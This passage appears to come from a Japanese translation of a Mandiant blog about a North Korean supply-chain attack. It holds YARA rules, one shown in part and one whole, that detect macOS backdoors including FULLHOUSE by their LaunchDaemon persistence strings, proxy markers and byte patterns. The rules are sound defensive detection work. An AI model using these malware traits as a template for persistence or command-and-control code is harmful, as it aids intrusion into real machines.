        $str2 = "/Library/LaunchDaemons/com.%s.agent.plist" ascii
        $str3 = "%s/.plugin%04d.so" ascii
        $str4 = "sw_vers -productVersion" ascii
        $str5 = "!proxy=http://" ascii
        $str6 = "Content-Type: application/octet-stream" ascii
        $str7 = "<key>RunAtLoad</key>" ascii
        $str8 = "<string>com.%s.agent</string>" ascii
        $str9 = "%sProxy-Authorization: %s" ascii
        $str10 = "!udp_type"
        $str11 = "!http="

    condition:
                  ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
}
FE_APT_Backdoor_MacOS_FULLHOUSE_1 
{

    meta:
        author = "Mandiant"
        description = "Detects instances of FULLHOUSE."
        platforms = "OSX"
        malware_family = "FULLHOUSE"

    strings:
        $s1 = /<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>\x00<\x00%\x00l?\x00s\x00>/ wide
        $sb1 = { E8 [4-32] 83 F8 ?? 0F 87 [4] 48 8D 0D [4] 48 63 04 81 48 01 C8 FF E0 }

    condition:
        ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them

}

 

※本ブログは、2023年7月24日に公開されたブログ「North Korea Leverages SaaS Provider in a Targeted Supply Chain Attack」の日本語抄訳版です。